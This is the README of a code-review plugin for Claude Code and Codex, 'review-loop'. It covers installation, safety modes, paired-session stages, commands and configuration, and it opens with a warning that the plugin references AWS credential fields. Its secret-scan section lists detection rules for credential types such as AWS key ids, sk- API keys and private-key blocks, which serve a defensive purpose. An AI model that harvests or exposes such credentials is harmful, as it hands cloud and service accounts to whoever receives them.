This plugin references the AWS credentials file or the access-key fields stored inside it ('ANTHROPIC_API_KEY', 'AWS_ACCESS_KEY_ID', 'AWS_S…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

A Claude Code and Codex plugin that drives a work item through the paired-session coordinator: an author and an independent reviewer plan and implement it, an adversarial gate checks the result, then finish, quality polish, docs and security run with lifecycle on, and nothing is delivered until you accept.
/plugin marketplace add NYTC69/review-loop
/plugin install review-loop@review-loop-marketplaceStart a new session. The /review-loop command is now available in all your projects.
Requirements (default entry). macOS only (Linux is not supported for now; ADR-15 amendment); claude and codex on PATH (codex-cli 0.159.2 or later); a dedicated git worktree for the task and a test command; an interactive session (a headless session needs --detach); one absolute CODEX_HOME per run.
From v2.10.0 a fresh /review-loop <work item> without an entry key in .review-loop/config.md hands off to the paired-session coordinator (the default entry; since v2.13.0 entry: legacy is refused and nothing falls back to legacy), and /review-loop:paired-session <work item> is the explicit entry. See docs/paired-session-migration.md. The legacy workflow was removed in v2.13.0 (routing) and v2.13.1 (/review-loop:legacy, /review-loop:plan, /review-loop:execute, the Codex plan and execute skills and the legacy protocol files): plan-only work is /review-loop:paired-session <work item> --plan-only, and an existing plan or a review of existing code is /review-loop (see the migration guide). Workspace .review-loop/paired-session.json may contain non-program limits only. Keep role, vendor, program and test-command settings in an operator-owned profile outside the product workspace and run directory, then pass its absolute path with --config to every command (probe and run in strict mode); the paired-session skill uses ~/.config/review-loop/paired-session.json when it exists and you name no other profile, and that profile replaces the workspace file. The plugin ships paired_session/paired-session-config.example.json for that profile.
Safety modes (D-EFF). Every role runs with the same OS sandboxes in both modes. efficient, the default, does not require a permission-probe PASS before dispatch, and its evidence guard only records what it would have held. strict (--strict, or "safety_mode": "strict" in the operator profile; the workspace file cannot set it) also requires the probe PASS and lets the evidence guard hold. The first command that creates the run (run by default, permission-probe in strict mode) fixes its mode, so pass --strict from that first command on; a --strict that arrives after only the probe has run still upgrades the run, later it is refused. Runs made before this change resume strict. In both modes a reviewer turn that changes the workspace is voided, restored and re-dispatched once (a second change or a failed restore is a HOLD), and an author turn that changes HEAD or the branch is a HOLD. See paired_session/docs/efficient-mode.md.
Optional — copy the config template and uncomment only the keys you change (every key is commented out at its default):
mkdir -p .review-loop
cp ~/.claude/plugins/cache/review-loop-marketplace/review-loop/<version>/review-loop-config.example.md .review-loop/config.mdAfter updating the plugin — Claude Code caches plugins at session start. After/plugin update, exit with Ctrl-C twice andclaude --resumeto reload plugins while keeping your conversation context. This is a Claude Code caching behavior, not a review-loop limitation. A paired-session run started by an older version is finished with that version when the bundled gate prompt changed (v3.1.7 changes it): the newer version still accepts, aborts or scope-changes such a run and refuses to continue it (resume,permission-probe, a plainreject), naming these exits.
Codex installs the same plugin (below) with four skills under .agents/skills/: review-loop, guide, paired-session and review-pr. They run the same coordinator and read the same .review-loop/config.md as Claude Code. The rest of this README documents the Claude Code commands; on Codex, ask in natural language ("run review-loop on this branch", "review the pending changes", "use paired-session for this task"). The legacy Codex Stage 1 workflow (its plan and execute skills, the Claude CLI reviewer launcher and the codex_reviewer_backend / codex_reviewer_model / codex_executor_model keys) was removed in v2.13.0-v2.13.1; the paired-session coordinator dispatches every role.
Codex has no code-quality-loop or reorganize skill; ask review-loop to review an existing change (a review-only run, quality writers on).
review-loop ships a Codex marketplace manifest at .agents/plugins/marketplace.json plus a plugins/review-loop symlink so the repo installs as a first-class Codex plugin (visible in /plugins, parallel to the Claude Code plugin install at the top of this README).
codex plugin marketplace add NYTC69/review-loop
codex plugin add review-loop@review-loop-marketplaceThen, inside a fresh Codex session:
/pluginsThe CLI install command above is sufficient; /plugins is an optional UI for inspecting the installed plugin and its skills.
The plugin is cached under $CODEX_HOME/plugins/cache/ (default ~/.codex/plugins/cache/). The paired-session skill reads the installed plugin version from codex plugin list --json rather than assuming a fixed versioned path.
Once enabled, the four skills under .agents/skills/ (review-loop, guide, paired-session, review-pr) are exposed to the Codex agent and respond to natural-language triggers like "run review-loop on this branch" or "use paired-session for this task". Codex matches plugin skills by their SKILL.md description, not by literal slash commands — /review-loop:paired-session etc. are Claude-only and surface as Unrecognized in Codex.
A fresh review-loop request hands off to the coordinator by default from v2.10.0; ask Codex to "use paired-session for this task" to name it explicitly (a request for "the legacy review-loop workflow" is refused: the legacy workflow was removed in v2.13.0). It reads non-program workspace defaults from .review-loop/paired-session.json when no --config is given; the skill passes ~/.config/review-loop/paired-session.json as --config when that file exists and you name no other profile. Program and role settings require an external operator profile passed with --config, which replaces rather than layers onto the workspace profile. Run artifacts stay outside the product workspace under the user-level Codex state folder.
Full step-by-step + verification: docs/install-codex.md.
Report-only reviewers and specialists are dispatched by the paired-session coordinator as fresh reviewer-role turns (the legacy launchers were removed in v2.13.1); see the reviewer runtime contract. The delivery manifest identifies HEAD/index/worktree and pre-existing user changes without staging or committing.
The entry skills load their instructions by action: the loading contract and its map (docs/protocol/loading.json) select the exact shared-protocol text, which scripts/read_protocol.py emits. Within a live context unchanged text is not delivered again; new agents and resumed or compacted contexts reload it. The review-loop skills keep their entry procedures under references/.
The repository includes a first-version skill testing framework for review-loop and guide.
scripts/run-skill-lint runs static contract checks (the legacy smoke suite was removed in v2.13.1)Test output uses PASS, FAIL, and SKIP.
tests/skills/.last-run.jsonScript tests run with python3 -m pytest tests; explicitly naming tests avoids recursively collecting the plugin's repository symlink. The coordinator's tests run with python3 -m unittest discover -s paired_session -p 'test_*.py' (fake CLIs only; no provider is called).
The commands, configuration table and included agent list below describe the current Claude Code plugin surface. .review-loop/config.md and the agents apply on Codex too, through its four skills (review-loop, guide, paired-session, review-pr).
/review-loop entrycoordinator and code already implemented to a paired-session review-only run (run --review-only); an existing plan becomes the work item (PLAN drafts and reviews it again); resuming a legacy session is refused. /review-loop:plan and /review-loop:execute (with --stop-after and --accept-external-state) were deleted in v2.13.1: plan-only work is /review-loop:paired-session <work item> --plan-only.
--lifecycle-mode off is the supported stop-after-gate route: PLAN -> EXEC -> GATE -> DONE (acceptance pending). The operator then handles FINISH, POLISH-Q, docs, security review and merging. Accept never commits on this route: it hands back the uncommitted tree. New runs default to on (the full lifecycle); CLI, operator/workspace profiles and Python entry points may select off, and saved off runs resume, accept, reject, note and abort normally.

├── SECURITY a secret and .gitignore scan, then a fresh security reviewer
└── DONE acceptance pending: you accept or rejectIn PLAN a blocking finding goes back to the author for the next plan round. From EXEC on, a blocking finding of the reviewer, the shadow or the gate goes back to the author; FINISH fixes what blocks delivery in its own session; a FINISH or POLISH-Q fix, a DOCS write outside the docs or a DOCS-review REVISE opens a new EXEC round (the reviewer first, then the gate). SECURITY stops the run for sensitive-looking paths or content hits in files the run added or changed, including additions left in the index after a rename or deletion, for added or changed files over 8 MiB, for content scans over 256 MiB, for a .gitignore coverage gap, and for any security reviewer finding. The same hits in files that were already committed and left unchanged are printed once as a NOTE and recorded in the SECURITY receipt; a path the run removed and that is still in the index is also named in a NOTE. Such a file over 8 MiB is not content-scanned and is named in the NOTE. A file that passes through a Git filter, for example Git LFS, or an end-of-line conversion counts as changed. A SECURITY HOLD is never repaired by the run: fix it outside the run and resume (the EXEC review and the gate run again). A review of existing code (run --review-only) has no PLAN: its EXEC review of the change is round 1. None of the review roles shares the author's session: the reviewer keeps its own session across rounds, and the shadow, the gate and the stage reviewers start fresh each time. Default roles: Codex is the author and the gate (gpt-6.1-sol), Claude the reviewer and the shadow (claude-opus-5-5); the operator profile changes roles and models.

A run ends at DONE (acceptance pending) or at a HOLD (it stopped and says why). Nothing is delivered at DONE:
report it writes, delivery-report.md in the run directory (in Chinese: the stages, the commit, the finding counts by severity and final status with the ids still open, the rounds, the verdicts and the token totals). A review-only run (/review-loop on existing code, code-quality-loop) with lifecycle on makes one local commit by default when its commit checks pass (otherwise the change stays uncommitted and accept lists the files to commit yourself); auto_commit: false in .review-loop/config.md keeps it uncommitted. The main pipeline commits only when the operator profile sets auto_commit and lifecycle is on. Lifecycle off always returns the uncommitted tree. Nothing is ever pushed.
--finding, --reason, then intent/--expect (see operator commands).handsfree the agent never accepts, rejects or withdraws findings.The coordinator prints one progress line per event (the role, its verdict and the open finding ids) and logs it to progress.jsonl in the run directory. Ask the agent at any time:
status --brief: the latest progress lines, without disturbing the run);resume --add-rounds N (1-10) continues the same run with N more rounds of that phase;
abort).A headless session starts the run with --detach (the command returns at once with its pid and log; stop ends it).
/review-loop add rate limiting to the upload endpoint using tower middlewarePLAN — The author drafts a plan using tower::limit::RateLimitLayer. The reviewer flags a missing per-IP bucket strategy as blocking; the author revises and the reviewer approves on round 2.
EXEC — The author implements the plan. The reviewer catches that RateLimitLayer was applied globally instead of per route, a deviation from the approved plan; the author fixes it, and the reviewer and the shadow approve.
GATE to SECURITY — The gate finds nothing blocking. In POLISH-Q, rust-reviewer checks the change and pr-test-analyzer notes a missing test for the 429 response; the author adds it, and the EXEC review and the gate run again. DOCS adds the run's entry to CHANGELOG.md; SECURITY finds no secret and full .gitignore coverage.
DONE — You accept; the agent shows the delivery report. The change stays uncommitted unless the operator profile sets auto_commit.
/review-loop:code-quality-loopA paired-session review-only run on the uncommitted change. With lifecycle on, it reviews, fixes, runs one fix round for non-blocking findings, simplifies, consolidates tests, and runs docs and security. Acceptance normally makes one local commit unless auto_commit: false. With lifecycle off, it stops after the gate; acceptance returns the uncommitted tree. Argument: [max-rounds], an integer of at least 2 (round 1 reviews the existing change), which becomes --max-exec-rounds and wins over soft_limit_exec. --skip-reorganize is accepted and has no effect; --reorganize, --legacy and entry: legacy are refused (run /review-loop:reorganize <files> after the run).
/review-loop:reorganize <file/dir or 'diff'>Restructure code files: rearrange module layout, extract shared logic, remove redundancy, add section comments. Splits coupled files into focused modules. Preserves all functionality — this is restructuring, not rewriting.
/review-loop:reorganize src/engine.go # single file
/review-loop:reorganize src/core/ # directory
/review-loop:reorganize diff # all uncommitted changes/review-loop:review-pr [PR number|PR URL|ref] [aspects]Reviews a change and writes a report; it never fixes, commits, pushes or posts on its own. The input is optional: none reviews the local change in the current worktree; a PR number or GitHub PR URL (needs gh) or a ref is reviewed in a temporary clone under the run root (your checkout is never touched; the clone is removed only when you agree). For a PR or ref input, Git LFS files are reviewed as their pointer files; the LFS content is not fetched or reviewed. A repository with submodules cannot be reviewed in report mode yet. No tests run unless you confirm a test command for this review. The EXEC reviewer, the shadow, the gate, the language reviewers for the changed file types and the security stage run by default (shadow: off in the operator profile skips the shadow, skip_quality_polish: true every specialist, the language reviewers included); the aspects only choose the specialists below and never the language reviewers (all or none: every one that applies; comments runs when the change touches docs or comment lines, types when it touches a type-bearing file). The result is review-report.md in the run directory, shown when the run ends (REPORTED). Posting it as one gh pr review --comment is a separate request: the report is scanned for secrets first, and the exact command and the full body are shown for a second confirmation. simplify is a writer and is refused (run /review-loop:code-quality-loop on the change); parallel does not apply. Available aspects:
| Aspect | Agent | What it checks |
|---|---|---|
code | code-reviewer | Style, patterns, best practices |
errors | silent-failure-hunter | Swallowed errors, silent fallbacks |
comments | comment-analyzer | Comment accuracy, staleness |

Project review settings live in .review-loop/config.md (every field optional; the table below). Operator settings live in the operator profile (the one you name, else ~/.config/review-loop/paired-session.json): roles, vendors, models and efforts, the test command, safety_mode, auto_commit for the main pipeline, quality_writers, advisory_fix_round, max_invocations and timeouts. The CLI option --lifecycle-mode on|off defaults to on; the JSON profile key lifecycle_mode may select off in an operator or workspace profile. With off, DONE follows gate approval and accept --auto-commit false returns the uncommitted tree. The values in paired_session/paired-session-config.example.json are examples, not the defaults (without a profile the gate uses the author's vendor, and the test command is the one the skill confirms with you).
| Key | Default | Description |
|---|---|---|
entry | absent = paired-session | paired-session (exact value); legacy is refused since v2.13.0; anything else is warned about and treated as absent |
soft_limit_plan | 3 | --max-plan-rounds: the PLAN round cap; blocking reviews at the cap HOLD and resume --add-rounds N continues them |
soft_limit_exec | 4 | --max-exec-rounds: the same for EXEC |
auto_commit | false | Not applied on the main pipeline: paired-session reads auto_commit from the operator profile and prints a warning when auto_commit: true is set here. Review-only runs (/review-loop on existing code, code-quality-loop) default to true: one local commit at accept with lifecycle on, never a push; lifecycle off returns the uncommitted tree; both honour an explicit auto_commit: false here |
docs_file | CHANGELOG.md | File to append delivery summary; "" to skip |
handsfree | false | Nobody answers questions: a stage A question fails the entry, and accept / reject / withdraw-findings are never run |
review_focus | "" | Project-specific review priorities (free text); paired-session: --review-focus (L105), frozen at run start, for the reviewer, shadow and gate |
quality_focus | "" | Paired-session: --quality-focus (L105), frozen at run start, for the POLISH-Q specialists |
review_style | "" | Tone and rules for all reviews (free text); paired-session: --review-style (L105), frozen at run start, for every review role |
skip_quality_polish | false | With lifecycle on, true skips the POLISH-Q specialists and the quality writers; docs and security still run |
reviewer_model and executor_model are not applied: set to anything other than empty or inherit, they print a warning; models come from the operator profile. The legacy-only keys reviewer, judgment_model, cheap_model, codex_reviewer_backend, codex_reviewer_model, codex_executor_model, commit_message_prefix, cross_vendor_review, adversarial_gate_skip_paths and context_persist_threshold were removed with the legacy workflow and have no effect.

Live progress — The coordinator prints one line per event (the role, its verdict and the open finding ids) and logs it to progress.jsonl in the run directory; status --brief shows the latest.
Plan Conformance — In EXEC the reviewer and the shadow review the change against the approved plan, and an EXEC approval needs their own run evidence (self_run_evidence; a review-pr report run without a test command may approve statically).
Secret scan — On every route, --lifecycle-mode off included, the coordinator scans the lines the change adds for hardcoded credentials (JWTs, sk- / sk-ant- / sk-proj- keys, AWS key ids, GitHub, Slack, Google and Stripe live tokens, private-key blocks (a BEGIN marker followed by key material), and a key/secret/token/password name given a long random-looking quoted literal that is not a publishable key) before each EXEC review verdict and before the gate. A hit is a blocking finding for the author that names only path:line and the rule, never the value; with no EXEC round left the run holds, and a review-pr report lists it. The line is git's: a file with CR-only line endings is one line for git, so a hit anywhere in it is reported at line 1. Exempt a deliberate test fixture with a secret-scan-allow: <path or glob> line in the work item (one per line). Declare exemptions before starting the run. If a deliberate fixture or false positive appears later, start a new run with the exemption; resume uses the frozen work item. The rules are one table (scripts/content_rules.py) with a scope per rule: the SECURITY stage scans the whole delivery, files the run never touched included (a hit there is a NOTE, not a HOLD), with only the six rules it always had (private-key blocks, AWS key ids, GitHub, Slack, Google and Stripe live tokens), and the marker does not exempt those; the JWT, sk- and key-named-literal rules apply only to lines the run adds and to a review-pr post body.
Run Directory — Each run's state, evidence, findings ledger, usage and reports live in its run directory outside the workspace; legacy .review-loop/sessions/ files are left on disk and never read.
Round Caps — Blocking reviews at the hard round caps (plan 3 / exec 4 unless set) end in a HOLD; resume --add-rounds N continues the same run (L100). An eligible advisory-only PLAN/EXEC REVISE gets one repair attempt per phase, then exits with open rows recorded as advisory; at the cap it exits without requiring an attempt. In a quality-writer replay it exits at any round and the writer change is kept. EXEC requires a successful configured test, own run evidence and the same reviewed tree. See the advisory rules.
Quality Polish (POLISH-Q) — With lifecycle on, after the gate and FINISH, read-only specialists review the change: the language reviewers for the changed file types (go-reviewer, rust-reviewer, python-reviewer, frontend-security-reviewer) plus code-reviewer, silent-failure-hunter and pr-test-analyzer. The quality writers (a fresh simplifier, then test consolidation) are on by default for review-only runs and code-quality-loop, and off on the main pipeline (turn them on with the operator setting quality_writers or --quality-writers both, about +10 invocations); a writer's change is kept only when the tests pass and the reviews approve it again, including an eligible advisory-only replay REVISE accepted as APPROVE_WITH_ADVISORY. Other replay non-approvals or a failing gate roll it back with the reason. After a whole-group rollback, new blockers outside every writer's changed files stay open for EXEC repair with the usual round-limit HOLD; writer-file blockers and advisory rows are withdrawn, and operator-withdrawn rows stay withdrawn. The advisory fix round (advisory_fix_round, --advisory-fix-round true; code-quality-loop turns it on) gives the author one round for the open non-blocking findings after the first clean POLISH-Q. Tune with quality_focus and skip_quality_polish (which skips the specialists and the writers).
